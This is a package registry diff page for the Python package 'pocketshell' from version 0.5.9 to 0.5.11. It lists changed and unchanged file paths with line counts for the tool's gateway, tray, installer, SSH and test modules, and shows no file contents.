pocketshell 0.5.9__tar.gz → 0.5.11__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {pocketshell-0.5.9 → pocketshell-0.5.11}/PKG-INFO +1 -1
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/gateway.md +35 -2
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/tray.md +36 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/windows-gateway-client.md +4 -5
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/windows-gateway-private-runtime.md +2 -2
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/windows-tray-installer.md +34 -7
- {pocketshell-0.5.9 → pocketshell-0.5.11}/pyproject.toml +1 -1
- pocketshell-0.5.11/release/inputs/pocketshell-link-70f5a4b/README.md +35 -0
- pocketshell-0.5.11/release/inputs/pocketshell-link-70f5a4b/SHA256SUMS +1 -0
- pocketshell-0.5.11/release/inputs/pocketshell-link-70f5a4b/pocketshell-link-windows-amd64.exe +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/build_closure.py +1 -1
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/build_tray_installer.py +85 -18
- pocketshell-0.5.11/scripts/release/psc-install.ps1 +283 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/tray-installer.nsi +8 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/cli.py +196 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/helper.py +5 -3
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_windows.py +9 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/app.py +135 -2
- pocketshell-0.5.11/src/pocketshell/tray/dialogs.py +112 -0
- pocketshell-0.5.11/src/pocketshell/tray/gateway_auth.py +294 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray_bundle.py +18 -1
- pocketshell-0.5.11/tests/gateway/test_gateway_auth_cli.py +210 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/gateway/test_gateway_service.py +16 -2
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/release/test_tray_installer.py +119 -8
- pocketshell-0.5.11/tests/release/test_windows_psc_install_native.py +191 -0
- pocketshell-0.5.11/tests/release/test_windows_psc_upgrade_native.py +127 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/tray/test_bundle.py +38 -0
- pocketshell-0.5.11/tests/tray/test_gateway_auth.py +367 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/uv.lock +1 -1
- {pocketshell-0.5.9 → pocketshell-0.5.11}/.gitattributes +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/.gitignore +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/LICENSE +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/account.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/architecture.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/gateway-distribution.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/keys.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/docs/link-transport.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/launcher/go.mod +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/launcher/main.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/context.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/context_test.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/context_windows.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/entry.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/go.mod +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/go.sum +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/main.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/protocol.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/protocol_test.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/spawn_test.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/spawn_windows.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/verify_other.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/native/verify/verify_windows.go +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/pocketshell-tray.spec +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/aplexer-fc396/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/aplexer-fc396/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/aplexer-fc396/windows-native-fc396.zip +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/OWNED-BUILD-V26A.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/quiet-build-terminal-fields-addendum.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/quiet-host-source-build-role-handoff.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/transfer-manifest.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/dossiers/windows-aplexer-msys-backend-source-role-handoff.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/.gitattributes +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/guardian.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/native_api.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-6cf7ae85/policy.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/DERIVATION.diff +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/guardian.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/native_api.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-e862645d/policy.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-servicing/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-servicing/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-servicing/guardian.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-servicing/native_api.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/guardian-servicing/policy.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/msys2-runtime-5a1665c8/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/msys2-runtime-5a1665c8/console.cc +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/NULL-PATH-FIX.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/SHA256SUMS +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/policy-manifest.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/shell-host.c +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/w32fd.c +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/wmain_sshd-auth.c +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/wmain_sshd-session.c +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/release/inputs/openssh-quiet-e302fe1/wmain_sshd.c +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scheduler/README.md +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scheduler/pocketshell-usage-capture.service +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scheduler/pocketshell-usage-capture.timer +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/check-antigravity-contract.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/check-cgroup-cap-proof.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/check-product-tmux-absent.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/check-python-ci-lock.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/reinstall-box-cli.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/build_backend_windows.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/private_shell_overlay.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/release/smoke_tray_bundle.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/sync-readme-exit-codes.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/test-usage-missing-window-mutation.sh +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/windows-e2e-sshd-setup.ps1 +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/scripts/windows-gateway-qualify.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/__main__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/broker.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/config.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/credentials.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/device.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/errors.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/jsonutil.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/account/sanitize.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/handoff.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/messages.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/readers.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/resolve.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/conversations/roots.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/kind.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/command.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/environment.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/run.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/spec.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/agents/launch/trust.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/attachments/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/attachments/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/attachments/prune.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/push.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/types/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/types/checklist.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/types/note.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cards/types/registry.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/cache.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/client.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/dispatch.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/failures.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/lifecycle.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/methods.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/protocol.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/daemon/server.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/builtin.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/harness.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/registry.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/engines/spec.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/env/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/env/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/env/parse.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/env/store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/client_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/devices.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/pins.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/private_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/proxy.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_agent_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_agent_firstuse.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_agent_install.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_common.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_hostkey.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_linux.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_task_acl.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_user_agent.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/service_windows_endpoint.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/sshcmd.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/status.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/tokens.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/gateway/winssh.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/github.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/handlers.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/installers.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/providers/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/providers/claude.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/providers/codex.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/hooks/status.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/crypto.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/prompt.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/session.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/sshkeys.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/keys/store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/client.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/daemon.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/protocol.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/link/relay.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/events.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/hooks.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/logs/redact.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/profiles/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/profiles/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/profiles/discovery.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/profiles/model.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/profiles/resolve.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/push/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/push/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/push/events.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/push/fcm.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/push/store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/handlers.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/local.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/model.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/remote.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/repos/render.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/aplexer.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/cgroups.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/console_scripts.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/memcap.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/runtime/sessions.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/serve.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/attach.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/create.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/kill.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/listing.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/rename.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/sessions/warnings.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tokentls.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/__main__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/autostart.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/icons.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/model.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/single_instance.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray/status_client.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray_repair.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tray_supervisor.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/daemon.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/model.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/storage.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/workspaces/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/workspaces/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/tree/workspaces/membership.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/capture/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/capture/durability.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/capture/history.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/capture/paths.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/capture/quarantine.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/normalize.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/quse.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/reset/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/reset/detect.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/usage/reset/store.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/windows_security.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/src/pocketshell/windows_sessions.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/__init__.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_basics.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_broker.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_cli.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_credentials.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_device_flow.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_account_tls.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/account/test_windows_private_storage.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/conftest.py +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.11-usage.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.13-usage.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.15-usage.json +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.15-usage.ndjson +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.15-usage.provenance.txt +0 -0
- {pocketshell-0.5.9 → pocketshell-0.5.11}/tests/data/quse-0.0.17-gemini.json +0 -0
